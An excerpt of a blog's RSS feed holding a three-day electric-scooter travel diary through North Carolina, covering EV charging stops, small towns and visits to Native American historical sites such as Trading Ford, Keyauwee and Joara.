<p>Much of this first leg is in the vicinity of Statesville, NC. The scene is ranch houses, monstrous industrial buildings, semi-truck trailers, small rural churches, and corn. This area is known for cheap land, power, and water, so it makes sense to see all the big-named companies with multiple entrances, but it still feels unlike anywhere else I&#39;ve been on this trip.</p>

<p><img src="https://i.snap.as/lBkSaTgR.jpg" alt=""/></p>

<p>Depressingly, I began to think about how the local population lives their lives as slaves to these giant faceless corporations: you spend your 40 hours a week in a giant box following orders from your company, then you visit the church on the weekend to get orders from someone else, go home to rest, and then you die. I realized that I had just summarized my own life and felt even more solemn after that.</p>

<p><img src="https://i.snap.as/kRuuEC42.jpg" alt=""/></p>

<p>I arrive at the first charger with 22% charge left – 9% more than I would have usually expected and worth about an extra 6 miles in range. It&#39;s good to know that I can dial up the efficiency if needed, which has led me to a new EV mantra of “Get low? Go slow”.</p>

<p><img src="https://i.snap.as/BC92fKQ4.jpg" alt=""/></p>

<p>Salisbury, or more specifically Gateway Park, is the first place I&#39;ve parked my bike where things felt sketchy enough to bring my things with me instead of just concealing the side bag. To the left of me were two people packing their belongings into a shopping cart, and to the right was someone sleeping in a bus shelter curled up against a Huffy bike from the 90s. Salisbury has fallen a long way since <a href="https://www.salisburypost.com/2017/03/19/presidential-lore-andrew-jackson-crawford-family-salisbury/">Andrew Jackson practiced law here</a>.</p>

<p><img src="https://i.snap.as/z4TH9Tkw.jpg" alt=""/></p>

<p>Even at 8:30am, it&#39;s beginning to feel sticky outside. The food at the Waffle House is good but not great. I was not feeling the Salisbury vibe and questioned whether it was wise to leave my motorcycle jacket and airbag vest behind, so I cut my urban exploration short and headed out to find the <a href="https://www.ncpedia.org/trading-ford">Trading Ford</a>.</p>

<p><img src="https://i.snap.as/7t4kdCSo.jpg" alt=""/></p>

<p>The ford was an important part of the <a href="https://www.ncpedia.org/great-trading-path">Great Trading Path</a> that went up and down the coast: used by natives and colonists alike. In this area, the Yadkin was generally 1000-1500 feet wide, and this was the only point where it was possible to cross over by foot or horseback. Unfortunately, the location of the ford has since been dammed, and while you can kind of see where it once was from I-85, the closest access is blocked off by a power plant:</p>

<p><img src="https://i.snap.as/JsGxijmW.jpg" alt=""/></p>

<p>I also tried to get to the location of Sapona, a famous Native American town adjacent to the Trading Ford mentioned in John Lawson&#39;s explorations. Unfortunately, nothing structural remains of it, and the site is on private land. I doubt few of the locals even know that Sapona is hiding beyond these trees:</p>

<p><img src="https://i.snap.as/DKAAUAHw.jpg" alt=""/></p>

<p>Apparently, there is still some disagreement from archeologists on which side of the river the town was on.</p>

<h3 id="lexington" id="lexington">Lexington</h3>

<p>Feeling dejected and unsuccessful in my day thus far, I continue up the route of the trading path from Salisbury through Spencer to Lexington. The vibe is destitute and derelict. This corridor feels filled with the people that society has left behind. It&#39;s not a surprise when I arrive in downtown Lexington and see the theme continue. Many prime real estate locations are closed, including this local Census center from 3 years ago.</p>

<p><img src="https://i.snap.as/rScfAXIr.jpg" alt=""/></p>

<p>Allegedly <a href="https://www.visitnc.com/story/7oq3/plan-a-flavorful-lexington-barbecue-tour">famous for its barbeque</a>, Lexington was primarily a textile and furniture town until those duties were moved overseas. On a Sunday morning, Lexington feels mostly dead. A random guy cruising down the hill on his bike, a crazy lady wandering around screaming to herself, and a person with a maimed arm wandering aimlessly.</p>

<p><img src="https://i.snap.as/pP6QfOMI.jpg" alt=""/></p>

<p>At some point, it&#39;s just too hot to walk around, so I find a shady bench to chill out at near the courthouse.</p>

<p><img src="https://i.snap.as/LNTMpk3U.jpg" alt=""/></p>

<p>Surprisingly, there are no water fountains or open markets to buy water from, so I ride to a CVS on the way out to buy some water for the coming hike.</p>

<h3 id="caraway-keyauwee-same-word-different-spelling" id="caraway-keyauwee-same-word-different-spelling">Caraway, Keyauwee: same word, different spelling</h3>

<p>I head East toward Asheboro, hoping to find the site of the famous <a href="https://www.ncpedia.org/keyauwee-indians">Keyauwee</a> village. The site location is an unconfirmed well-kept secret among archaeologists, but it&#39;s apparently along Caraway Creek and allegedly on private land. I tried to use hints from the books I&#39;ve read on the subject and Google Earth to make an educated guess. <a href="https://docsouth.unc.edu/nc/lawson/menu.html">John Lawson&#39;s “A New Voyage to Carolina”</a> (1704) described it:</p>

<blockquote><p>Nature hath so fortified this Town, with Mountains, that were it a Seat of War, it might easily be made impregnable; having large Corn-Fields joining to their Cabins, and a Savanna near the Town, at the Foot of these Mountains, that is capable of keeping some hundred Heads of Cattle. And all this environed round with very high Mountains so that no hard Wind ever troubles these Inhabitants.</p></blockquote>

<p>Intriguingly, Lawson also mentions that at the top of the nearby mountain is a <em>“cave that 100 Men may fit very conveniently to dine in”</em>. I recently saw that the <a href="https://www.piedmontland.org/carawaycreekpreserve/">Caraway Creek Preserve</a> opened up just South of the area I had identified as an armchair historian, so I decided to visit to see if it lived up to the description.</p>

<p><img src="https://i.snap.as/i1d6fCX9.jpg" alt=""/></p>

<p>Walking down to Caraway Creek, I imagined the sounds of a bustling native village. Craftspeople building things, food cooking over an open fire, kids playing with sticks and balls.</p>

<p><img src="https://i.snap.as/EiV4XCbd.jpg" alt=""/></p>

<p>While this location was surrounded by the low mountains of the northern Uwharrie, it didn&#39;t match the description. I couldn&#39;t shake the idea that I was off by many miles. Once I got home and did further research, I&#39;m pretty sure I was ~2 miles too far north and that the more likely location is just below <a href="https://www.piedmontland.org/protected-places/parks-trails-and-preserves/preserves/ridges-mountain-randolph-county/">Ridges Mountain</a>. I&#39;ll take a closer look at a future trip.</p>

<p><img src="https://i.snap.as/BeGSLQSi.jpg" alt=""/></p>

<h3 id="asheboro-and-home" id="asheboro-and-home">Asheboro and home</h3>

<p><img src="https://i.snap.as/dKFsLbj9.jpg" alt=""/></p>

<p>I dropped by downtown Asheboro for a late lunch and a charge. Asheboro seems reinvigorated compared to the last time I was here 20+ years ago. The downtown lot has multiple free charging stations, art studios, and restaurants. It&#39;s clean, but you can still find plenty of old brick and grit.</p>

<p><img src="https://i.snap.as/L1zBSDsI.jpg" alt=""/></p>

<p>It&#39;s 93&#39;F outside, so I&#39;m walking around with what&#39;s left of my Camelbak Chill bottle, keeping myself hydrated until I find an interesting-looking place to eat. I settle on Flying Pig Food &amp; Spirits and am quickly disarmed by a hostess who declares that I cannot come in with a water bottle. We negotiate, and she holds the bottle hostage for me at her stand while I eat.</p>

<p>I ordered a Dr. Pepper, water, and a “Fish Dog”: fried mahi mahi in hot dog buns. It&#39;s weird but good. On the way out, I get the water in a to-go cup to refill my water bottle. I liked the place, but my interaction with the hostess made the entire visit feel awkward.</p>

<p>Leaving town, I pass over the Deep River by Cedar Falls and stop the bike as it just looks too gorgeous to pass up:</p>

<p><img src="https://i.snap.as/6U2wOxUb.jpg" alt=""/></p>

<p>When I head down to the banks, a concerned father yells down to me, asking if I have any bandaids. His boy cut himself playing on the rocks. I&#39;m glad to finally use the First Aid kit I keep handy, and even more glad that I didn&#39;t have to use it on myself.</p>

<p><img src="https://i.snap.as/hGdjK3bg.jpg" alt=""/></p>

<p>On the country roads between Asheboro and Siler City lies miles and miles of tar snakes. It felt like I was riding through one of those suspension test tracks you see car prototypes go through.</p>

<p><img src="https://i.snap.as/qNw4Cb57.jpg" alt=""/></p>

<p>At this point, I&#39;m feeling done with the road. While I could just keep slogging away at these little rural roads, I&#39;m tired, the sun is getting low, and the deer are coming out to play, so I decide to slab it home via Highway 64 &amp; 15-501. To do so, I head to the one charger between here and Pittsboro for one last top-off: The Ford Dealership in Siler City.</p>

<p><img src="https://i.snap.as/Qm4QM71U.jpg" alt=""/></p>

<p>It always feels awkward charging at a vehicle dealer, especially when it&#39;s not the manufacturer of your vehicle. This dealer is closed on Sundays, so it makes the experience much less weird. I add 15% to my tank, ride the last hour home, and call it a trip.</p>

<h3 id="trip-conclusion" id="trip-conclusion">Trip Conclusion</h3>

<p>623 miles, 3 days, 16 charging stops</p>

<p><img src="https://i.snap.as/26G8l60q.jpg" alt=""/></p>

<p>On this trip, I&#39;ve become very comfortable touring on the BMW CE-04 – even to the point where I&#39;ve fallen in love with this surprisingly well-thought-out scooter. The only thing I can fault the scooter for is the lack of a comfortable seating position for multi-hour rides; that&#39;s the only thing my old R1150GS still gets points for.</p>

<p>Admittedly, the first time I rode the CE-04 a long distance, I was annoyed with all the charging stops, but I&#39;ve since learned to appreciate all the forgotten small towns that topping up has taken me to. Whereas most gas stations are far from exciting walking locations, most charging stops are smack in the middle of downtown. Here is the final track for the trip:</p>

<p><img src="https://i.snap.as/nqeOQSi8.jpg" alt=""/></p>

<p>With this trip, I finally lost my sense of range anxiety. I still charged far more often than I needed to — on average, every 37 miles the first day compared to every 45 the last day — I got less concerned about it over time. While I encountered no broken chargers on this trip, the occurrence is frequent enough that I&#39;ll continue to ensure I always have enough range to make it to an alternative.</p>

<p>I brought a lot of extra items for emergencies that never came to be: from the emergency electric jerrycan to the plethora of AC adapters, tire inflators, and other tools. Still, if I was to do it all over again, I&#39;d do the same trip the same way.</p>
]]></content:encoded>
      <guid>https://unfinished.bike/iso-native-lands-day-3-hickory-chapel-hill</guid>
      <pubDate>Mon, 17 Jul 2023 01:05:44 +0000</pubDate>
    </item>
    <item>
      <title>ISO Native Lands: Day 2 (Rutherfordton↝Hickory)</title>
      <link>https://unfinished.bike/iso-native-lands-day-2-rutherfordton-hickory?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Today is the day of the twisties that I&#39;ve been dreaming about, with roughly 180 miles of riding through the Blue Ridge Mountains ahead on my trusty BMW CE-04.&#xA;&#xA;Breakfast at the Carrier House Bed &amp; Breakfast was incredible: a creamy parfait, a savory souflée, and excellent coffee. I regret not exploring Rutherfordton, as it&#39;s one of the oldest towns in North Carolina (1787). It was also named after a general who inflicted considerable damage on the nearby Cherokee tribes in the Cherokee–American wars.&#xA;&#xA;Alas, the hills were calling my name.&#xA;&#xA;Onward to Lake Lure!&#xA;&#xA;!--more--&#xA;&#xA;The last time I rode a motorcycle through the mountains was in 2010, so I&#39;m feeling a bit rusty as Polk County Line Road begins to twist before continuing to Grassy Knob Rd. It&#39;s a great feeling wandering amidst the country orchards. I spy an Ornate Box Turtle crossing the road at one point and use my bike to block its safe passage.&#xA;&#xA;At the intersection of Highway 9 &amp; Highway 64, the mythical Lake Lure comes into view. The scene of parts of Dirty Dancing, the lake itself, is relatively young, only coming into being in 1927. Some wiseguy developer imagined this would be an excellent site for a lake resort, so he founded Carolina Mountain Power Company, which went on to dam the Broad River and built a hydroelectric plan to power his resort town.&#xA;&#xA;Lake Lure is incredibly picturesque. I didn&#39;t need to charge here, but there was a free charger at the visitor center, and I wanted to walk around and take photos.&#xA;&#xA;Chimney Rock&#xA;&#xA;Chimney Rock is part of the Hickory Nut Gorge, sacred to the Cherokee and Catawba Indians. They tell tales of this being the land of the Yunwi Tsunsdi&#39;, or small dwarf or fairy-like humanoids who live in the rock caves. They were the guardians of the sacred tsa&#39;lu (tobacco) and took action against those who hoped to harvest it.&#xA;&#xA;Chimney Rock overlooks the Gorge and Broad River and is a State Park. The road leading up to it is slow, windy, and picturesque.&#xA;&#xA;To get to the top, you can take an elevator or stairs that wind through boulders and bat caves. There are many places for Yunwi Tsunsdi&#39; to hide, so watch your step.&#xA;&#xA;Heading across the Broad River from the park is a cute tourist trap of a town. I get questioned by walkers about the scooter, check out the river, and move on.&#xA;&#xA;Old Fort&#xA;&#xA;Now the roads are getting twistier, which gets me pumped for the adventure to come.&#xA;&#xA;My next stop was Old Fort, where the visitor center has two free EV chargers: one J1772 and one Tesla (NACS). The J1772 charger was in use by another BMW, so I was glad to have the TeslaTap Mini adapter handy for the CE-04. The driver on the other charger was nice enough to come out to ask if I wanted to swap spaces with them, but it wasn&#39;t necessary.&#xA;&#xA;Downtown was small but charming, with a brewpub that I wish I had been able to try. I wasn&#39;t hungry and have a strict rule about no alcohol on two wheels. I had a very uncomfortable time riding through Belgium once, where I stopped for what should have been a long lunch and got a beer, but we had to leave early.&#xA;&#xA;There was a lovely outdoor museum with 18th-century buildings from the area and what seemed to be the world&#39;s most depressing craft market. Even under their shady tents, the craftspeople had wilted in the heat, and no one looked like they wanted to be there.&#xA;&#xA;On the way out, I passed Davidson’s Fort, which the town was named after. I hadn&#39;t planned to stop by - due to its controversial existence - but I was at the entrance anyways, so I wandered in.&#xA;&#xA;I peeked inside the fort and saw that it was occupied only by reenactment actors setting up, so I began to walk back to the bike. One of the leaders noticed me taking photos and encouraged me to come in and check things out.&#xA;&#xA;I&#39;m glad I did, as I got an excellent 20-minute overview of the fort&#39;s history. I&#39;ll spare you the details, but if you are interested, see the Wikipedia article on it - suffice to say, the fort has a particularly bloody history, including being the base from which Rutherfordton wiped out the towns of the Lower Cherokee.&#xA;&#xA;I took the bizarre way out of Old Fort recommended by the Nav software &#34;Windy&#34; mode, hitting small country backroads such as Cane Creek Rd and Mackey Creek Rd toward Marion.&#xA;&#xA;I&#39;m glad I did because the roads were both picturesque and fun to ride:&#xA;&#xA;Little Switzerland &amp; Blue Ridge Parkway&#xA;&#xA;Little Switzerland has been on my &#34;to-ride&#34; list for years. It&#39;s a little slice of twisty-road heaven an hour east of Asheville, where two famously twisty roads intersect with the Blue Ridge Parkway: Highway 226A and Highway 80. Riding up Highway 80, I was having the time of my life. Seriously, I haven&#39;t had this much fun in YEARS!_ I couldn&#39;t help but feel I was truly living my best life here. Even the Blue Ridge Parkway section made for sublime riding. While the BRP is not exceptionally technical riding, it makes up for it in natural beauty and flow.&#xA;&#xA;Little Switzerland lacks a central area to walk around, but it does have several hotels, cafes, bookstores, and a handful of EV chargers. I chose to stop at the Little Switzerland Books &amp; Beans, as my body and bike could use the energy boost.&#xA;&#xA;Afterward, I had to pick between 226A (AKA the “Diamondback”), which, while world-famous for excellent riding, would return me to Marion, where I had just come from, and continuing the Blue Ridge Parkway through Linville Gorge, which would get me much closer to Morganton.&#xA;&#xA;Wanting to get to Lenoir by dinner, I chose the latter. I have a small ounce of regret for missing out on 226A, but it gives me a good reason to return later.&#xA;&#xA;Joara, Fort San Juan&#xA;&#xA;One of the most important locations in North Carolina history lies off of an unmarked and unnamed gravel road off Hendersonville Rd, just north of Morganto: Joara.&#xA;&#xA;This place does not have an address or sign and was so understated that I even turned around once, unsure if this was the correct place and fearful of trespassing onto a rabid gun-owner property.&#xA;&#xA;Joara was a bustling Native American town and chiefdom from 1000 AD to ~1650 AD. It was visited by the Spanish in 1540, and in 1567 they made the first European settlement in North Carolina, Fort San Juan, at Joara&#39;s northern edge. Fort San Juan was also the first European settlement in the&#xA;&#xA;Why have a fort so far inland? The Spanish were trying to find an overland route to the Spanish silver mines in the mountains of Mexico and figured that the Appalachians might be part of the same range. The early Spanish expeditions in America have a truly fascinating history, almost to the point of unbelievableness.&#xA;&#xA;Morganton&#xA;&#xA;My next step was Morganton, where at the back of one of Catawba Meadows Park parks is a replica Native American village, representing what a small section of a local village such as Joara might have looked like:&#xA;&#xA;Unfortunately, I arrived just after the exhibit&#39;s closing time, so that&#39;s all there was except a sign talking about Joara. I headed downtown to top off my bike before heading North again. Morganton has a pretty courthouse if nothing else:&#xA;&#xA;Lenoir and Hickory&#xA;&#xA;Since I knew I would be in Morganton, I checked in on some old colleagues from Google who lived in Lenoir - the site of Google&#39;s North Carolina data center.&#xA;&#xA;Lenoir has much more going on than when I first visited some 15 years ago. The fact that tonight was their annual Blackberry festival helped to make that impression, but even without it, I could tell things had changed for the better.&#xA;&#xA;The lively festival was quickly dashed by torrential downpours, which thankfully coincided with getting dinner with my old friends.&#xA;&#xA;This is Debby, Dave, and me:&#xA;&#xA;We hung out for a while, and once it stopped raining, I quickly said my goodbyes and raced toward my hotel in Hickory before the second arm of the storm system could reach me. A few laws may have been broken, but I&#39;m proud to say I made it to the hotel mostly dry.&#xA;&#xA;Once I dropped my things off, I went to move my bike to the back of the hotel to charge overnight, and the skies just opened up. We&#39;re talking dime &amp; nickel-sized raindrops.&#xA;&#xA;Rain wouldn&#39;t have been a problem, except the charger was managed through Shell Recharge, which requires interacting with their poorly built and forgetful application. Have you ever tried to log in with your e-mail address and password in the pouring rain? How about taking a picture of a QR code in the dark when the lens is covered in water?&#xA;&#xA;It took me about 10 minutes to get the stupid thing to begin charging. In comparison, other chargers are just tap+plug or just plug.&#xA;&#xA;Having a fully charged bike will save me a good amount of time tomorrow morning, so the frustration was worth it.]]&gt;</description>
      <content:encoded><![CDATA[<p>Today is the day of the twisties that I&#39;ve been dreaming about, with roughly 180 miles of riding through the Blue Ridge Mountains ahead on my trusty <a href="https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html">BMW CE-04</a>.</p>

<p>Breakfast at the <a href="https://carrierhouses.com/">Carrier House Bed &amp; Breakfast</a> was incredible: a creamy parfait, a savory souflée, and excellent coffee. I regret not exploring Rutherfordton, as it&#39;s one of the oldest towns in North Carolina (1787). It was also named after a <a href="https://en.wikipedia.org/wiki/Griffith_Rutherford">general</a> who inflicted considerable damage on the nearby Cherokee tribes in the <a href="https://en.wikipedia.org/wiki/Cherokee%E2%80%93American_wars">Cherokee–American wars</a>.</p>

<p>Alas, the hills were calling my name.</p>

<h3 id="onward-to-lake-lure" id="onward-to-lake-lure">Onward to Lake Lure!</h3>

<h3 id="https-i-snap-as-eqhshyie-jpg" id="https-i-snap-as-eqhshyie-jpg"><img src="https://i.snap.as/eQHshYie.jpg" alt=""/></h3>



<p>The last time I rode a motorcycle through the mountains was in 2010, so I&#39;m feeling a bit rusty as Polk County Line Road begins to twist before continuing to Grassy Knob Rd. It&#39;s a great feeling wandering amidst the country orchards. I spy an Ornate Box Turtle crossing the road at one point and use my bike to block its safe passage.</p>

<p><img src="https://i.snap.as/d56W8G7e.jpg" alt=""/></p>

<p>At the intersection of Highway 9 &amp; Highway 64, the mythical Lake Lure comes into view. The scene of parts of Dirty Dancing, the lake itself, is relatively young, only coming into being in 1927. Some wiseguy developer imagined this would be an excellent site for a lake resort, so he founded Carolina Mountain Power Company, which went on to dam the Broad River and built a hydroelectric plan to power his resort town.</p>

<p><img src="https://i.snap.as/Fu58oReb.jpg" alt=""/></p>

<p>Lake Lure is incredibly picturesque. I didn&#39;t need to charge here, but there was a free charger at the visitor center, and I wanted to walk around and take photos.</p>

<h3 id="chimney-rock" id="chimney-rock">Chimney Rock</h3>

<p><img src="https://i.snap.as/42ApGD4A.jpg" alt=""/></p>

<p>Chimney Rock is part of the Hickory Nut Gorge, sacred to the Cherokee and Catawba Indians. They tell tales of this being the land of the Yunwi Tsunsdi&#39;, or small dwarf or fairy-like humanoids who live in the rock caves. They were the guardians of the sacred tsa&#39;lu (tobacco) and took action against those who hoped to harvest it.</p>

<p><img src="https://i.snap.as/5HVnV6BL.jpg" alt=""/></p>

<p>Chimney Rock overlooks the Gorge and Broad River and is a State Park. The road leading up to it is slow, windy, and picturesque.</p>

<p><img src="https://i.snap.as/KYrtr1Xe.jpg" alt=""/></p>

<p>To get to the top, you can take an elevator or stairs that wind through boulders and bat caves. There are many places for Yunwi Tsunsdi&#39; to hide, so watch your step.</p>

<p><img src="https://i.snap.as/V7dsFi3G.jpg" alt=""/></p>

<p>Heading across the Broad River from the park is a cute tourist trap of a town. I get questioned by walkers about the scooter, check out the river, and move on.</p>

<h3 id="old-fort" id="old-fort">Old Fort</h3>

<p>Now the roads are getting twistier, which gets me pumped for the adventure to come.</p>

<p><img src="https://i.snap.as/k4NuKLXj.jpg" alt=""/></p>

<p>My next stop was Old Fort, where the visitor center has two free EV chargers: one J1772 and one Tesla (NACS). The J1772 charger was in use by another BMW, so I was glad to have the TeslaTap Mini adapter handy for the CE-04. The driver on the other charger was nice enough to come out to ask if I wanted to swap spaces with them, but it wasn&#39;t necessary.</p>

<p><img src="https://i.snap.as/4QhKKvhG.jpg" alt=""/></p>

<p>Downtown was small but charming, with a brewpub that I wish I had been able to try. I wasn&#39;t hungry and have a strict rule about no alcohol on two wheels. I had a very uncomfortable time riding through Belgium once, where I stopped for what should have been a long lunch and got a beer, but we had to leave early.</p>

<p><img src="https://i.snap.as/T6Q7dExz.jpg" alt=""/></p>

<p>There was a lovely <a href="https://www.mgmnc.org/">outdoor museum</a> with 18th-century buildings from the area and what seemed to be the world&#39;s most depressing craft market. Even under their shady tents, the craftspeople had wilted in the heat, and no one looked like they wanted to be there.</p>

<p><img src="https://i.snap.as/d1RIInSq.jpg" alt=""/></p>

<p>On the way out, I passed <a href="https://davidsonsforthistoricpark.com/">Davidson’s Fort</a>, which the town was named after. I hadn&#39;t planned to stop by – due to its controversial existence – but I was at the entrance anyways, so I wandered in.</p>

<p>I peeked inside the fort and saw that it was occupied only by reenactment actors setting up, so I began to walk back to the bike. One of the leaders noticed me taking photos and encouraged me to come in and check things out.</p>

<p>I&#39;m glad I did, as I got an excellent 20-minute overview of the fort&#39;s history. I&#39;ll spare you the details, but if you are interested, see the Wikipedia article on it – suffice to say, the fort has a particularly bloody history, including being the base from which Rutherfordton wiped out the towns of the Lower Cherokee.</p>

<p>I took the bizarre way out of Old Fort recommended by the Nav software “Windy” mode, hitting small country backroads such as Cane Creek Rd and Mackey Creek Rd toward Marion.</p>

<p>I&#39;m glad I did because the roads were both picturesque and fun to ride:</p>

<p><img src="https://i.snap.as/3Y53d1TL.jpg" alt=""/></p>

<h3 id="little-switzerland-blue-ridge-parkway" id="little-switzerland-blue-ridge-parkway">Little Switzerland &amp; Blue Ridge Parkway</h3>

<p><a href="https://www.visitlittleswitzerland.com/">Little Switzerland</a> has been on my “to-ride” list for years. It&#39;s a little slice of twisty-road heaven an hour east of Asheville, where two famously twisty roads intersect with the <a href="https://www.blueridgeparkway.org">Blue Ridge Parkway</a>: Highway 226A and Highway 80. Riding up Highway 80, I was having the time of my life. <em><strong>Seriously, I haven&#39;t had this much fun in YEARS!</strong></em> I couldn&#39;t help but feel I was truly living my best life here. Even the Blue Ridge Parkway section made for sublime riding. While the BRP is not exceptionally technical riding, it makes up for it in natural beauty and flow.</p>

<p><img src="https://i.snap.as/MgwzhqkC.jpg" alt=""/></p>

<p>Little Switzerland lacks a central area to walk around, but it does have several hotels, cafes, bookstores, and a handful of EV chargers. I chose to stop at the <a href="https://lsbooksandbeans.com/">Little Switzerland Books &amp; Beans</a>, as my body and bike could use the energy boost.</p>

<p><img src="https://i.snap.as/A8lb78Sg.jpg" alt=""/></p>

<p>Afterward, I had to pick between <a href="https://diamondback226.com/">226A (AKA the “Diamondback”)</a>, which, while world-famous for excellent riding, would return me to Marion, where I had just come from, and continuing the Blue Ridge Parkway through <a href="https://www.fs.usda.gov/recarea/nfsnc/recarea/?recid=48974">Linville Gorge</a>, which would get me much closer to Morganton.</p>

<p><img src="https://i.snap.as/Va5StSeD.jpg" alt=""/></p>

<p>Wanting to get to Lenoir by dinner, I chose the latter. I have a small ounce of regret for missing out on 226A, but it gives me a good reason to return later.</p>

<h3 id="joara-fort-san-juan" id="joara-fort-san-juan">Joara, Fort San Juan</h3>

<p>One of the most important locations in North Carolina history lies off of an unmarked and unnamed gravel road off Hendersonville Rd, just north of Morganto: Joara.</p>

<p><img src="https://i.snap.as/84Sf2uAI.jpg" alt=""/></p>

<p>This place does not have an address or sign and was so understated that I even turned around once, unsure if this was the correct place and fearful of trespassing onto a rabid gun-owner property.</p>

<p>Joara was a bustling Native American town and chiefdom from 1000 AD to ~1650 AD. It was visited by the Spanish in 1540, and in 1567 they made the first European settlement in North Carolina, Fort San Juan, at Joara&#39;s northern edge. Fort San Juan was also the first European settlement in the</p>

<p><img src="https://i.snap.as/Rg1yOfCq.jpg" alt=""/></p>

<p>Why have a fort so far inland? The Spanish were trying to find an overland route to the Spanish silver mines in the mountains of Mexico and figured that the Appalachians might be part of the same range. The early Spanish expeditions in America have a truly fascinating history, almost to the point of unbelievableness.</p>

<h3 id="morganton" id="morganton">Morganton</h3>

<p>My next step was Morganton, where at the back of one of Catawba Meadows Park parks is a <a href="https://www.morgantonparksandrec.com/parksrec/page/native-american-village-interpretive-center">replica Native American village</a>, representing what a small section of a local village such as Joara might have looked like:</p>

<p><img src="https://i.snap.as/OD4WZ7yz.jpg" alt=""/></p>

<p>Unfortunately, I arrived just after the exhibit&#39;s closing time, so that&#39;s all there was except a sign talking about Joara. I headed downtown to top off my bike before heading North again. Morganton has a pretty courthouse if nothing else:</p>

<p><img src="https://i.snap.as/9gbTr8XD.jpg" alt=""/></p>

<h3 id="lenoir-and-hickory" id="lenoir-and-hickory">Lenoir and Hickory</h3>

<p>Since I knew I would be in Morganton, I checked in on some old colleagues from Google who lived in Lenoir – the site of Google&#39;s North Carolina data center.</p>

<p><img src="https://i.snap.as/aQT2yPWH.jpg" alt=""/></p>

<p>Lenoir has much more going on than when I first visited some 15 years ago. The fact that tonight was their annual Blackberry festival helped to make that impression, but even without it, I could tell things had changed for the better.</p>

<p>The lively festival was quickly dashed by torrential downpours, which thankfully coincided with getting dinner with my old friends.</p>

<p>This is Debby, Dave, and me:</p>

<p><img src="https://i.snap.as/wixtunkt.jpg" alt=""/></p>

<p>We hung out for a while, and once it stopped raining, I quickly said my goodbyes and raced toward my hotel in Hickory before the second arm of the storm system could reach me. A few laws may have been broken, but I&#39;m proud to say I made it to the hotel mostly dry.</p>

<p>Once I dropped my things off, I went to move my bike to the back of the hotel to charge overnight, and the skies just opened up. We&#39;re talking dime &amp; nickel-sized raindrops.</p>

<p><img src="https://i.snap.as/aQpFKGiD.jpg" alt=""/></p>

<p>Rain wouldn&#39;t have been a problem, except the charger was managed through <a href="https://shellrecharge.com/">Shell Recharge</a>, which requires interacting with their poorly built and forgetful application. Have you ever tried to log in with your e-mail address and password in the pouring rain? How about taking a picture of a QR code in the dark when the lens is covered in water?</p>

<p>It took me about 10 minutes to get the stupid thing to begin charging. In comparison, other chargers are just tap+plug or just plug.</p>

<p>Having a fully charged bike will save me a good amount of time tomorrow morning, so the frustration was worth it.</p>
]]></content:encoded>
      <guid>https://unfinished.bike/iso-native-lands-day-2-rutherfordton-hickory</guid>
      <pubDate>Sat, 15 Jul 2023 16:40:30 +0000</pubDate>
    </item>
    <item>
      <title>ISO Native Lands: Day 1 (Chapel Hill↝Rutherfordton)</title>
      <link>https://unfinished.bike/iso-native-lands-day-1-chapel-hill-rutherfordton?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Today began like most days do not: up at 5 am, staring at a scooter in the pouring rain, wondering if this trip was a good idea. Most adventures aren&#39;t, but that hasn&#39;t stopped anyone before.&#xA;&#xA;My favorite personal fault is that when I commit to doing something, I do it regardless if it makes sense or not. Accordingly, I pressed the button to bring the BMW CE-04 to life as thunder reverberated across my recently adopted hometown of Chapel Hill, NC.&#xA;&#xA;Today’s goals were the Town Creek Indian Site, lunch with a friend, and a quaint bed and breakfast in Rutherfordton, NC - some 200 miles direct - but the straightest routes in life are always the dullest.&#xA;&#xA;Flashes &amp; Floods&#xA;&#xA;!--more--&#xA;&#xA;It is raining absolutely cats, dogs, and wombats. I&#39;m glad I loaded the bike up the night before, even if it means I have to unload the rain jacket and rain pants as the thunder rumbles in the background. In the pitch-black rain, I head, nervous enough that I accidentally trigger ABS before making it out onto the main road. I&#39;m a bit more careful as I wade through downtown Chapel Hill, the UNC campus, and onto 15-501.&#xA;&#xA;As I pull onto the 4-lane highway south toward Pittsboro, the weather intensifies. Lightning is dancing around me in all directions, and the rain hits the road so hard that it splashes back upwards. Visibility is poor: without my brights on, I have difficulty seeing the lane markings, but due to oncoming traffic, they are off most of the time.&#xA;&#xA;Doubts swirl through my head: is this insanity? Is the reason why lightning strikes rarely hit humans because most of them are smart enough to stay home when bolts are visible? Is 1.7mm of tire tread enough to avoid hydroplaning? I pull into a gas station for a moment - if only to put a pair of waterproof socks on.&#xA;&#xA;If I hang out here for even 30 minutes, it will blow my schedule off course, so after a minute or two, I suck it up and hit the road again. I tell myself that as long as I can make it to my charging stop in Goldston, I can hide under a shelter there and delay for a while.&#xA;&#xA;The strength of the storm pulses in and out. My watch is buzzing with notifications, but at this point, I&#39;m not stopping for anything. Pittsboro is a blur. I turn off onto Highway 902 toward Goldston, glad that I had at least rehearsed this section earlier in the week so that I know that the road conditions are good. I&#39;m thankful that the rain keeps the deer off the road at this hour.&#xA;&#xA;Crossing over George&#39;s Creek, I suddenly hear a loud &#34;whoosh&#34; sound as my front wheel dives through a stream of water that I never saw. As the water smashes the underside of my bike, the sound reminds me of being inside a loud carwash. It hit so hard that my feet could feel the impact reverberate through the battery pack and the rubber footrest. My speed instantly drops from 40mph to 28mph before the &#34;Throttle it out when in doubt&#34; mantra hits, and I leave the overflowing creek behind me.&#xA;&#xA;I&#39;m so regretting my decision to nix purchasing an Insta360 because even in the dark, the crossing must have looked crazy. The rain begins to let up, but I keep things slow afterward anyways.&#xA;&#xA;I stop off at the Goldston Library to charge: it&#39;s only 32 miles from home, but it&#39;s precisely on my route, and the next stop is just about at my 65-mile range limit for rural highways. I arrive with 52% - I only need a 5-minute charge to make it to my next stop, but I decided to try waiting out the rain. The library has no covered area, so I hid beneath a tree, and within 25 minutes, the storm finally ended.&#xA;&#xA;Star: The Geographic Center of the Universe&#xA;&#xA;With the rain halted, I tear out of the parking lot and notice the dawn coming up behind me. My mood improves.&#xA;&#xA;I note that with the rain gone, the deer will come out soon to eat once they&#39;ve dried off. I&#39;m scared as hell of deer and take special notice whenever I pass through an area with a forest on one side of the road and a field on the other. If a deer can take out Mr. Safety, it can take me out too.&#xA;&#xA;By the time I hit Highway 24 toward Biscoe, the roads have dried off, and I pick up the pace to make up for lost time. The increasing frequency of signs relating to pottery let me know that I&#39;m not far from Seagrove, AKA the &#34;Pottery Capital of the United States.&#34; Some miles away from my destination of Star, NC, I get a little reminder of the cost of all that extra velocity.&#xA;&#xA;There is that pernicious little formula that says: the energy required to overcome wind resistance is cubic to velocity. On a two-wheeled EV, even going 5mph over the speed 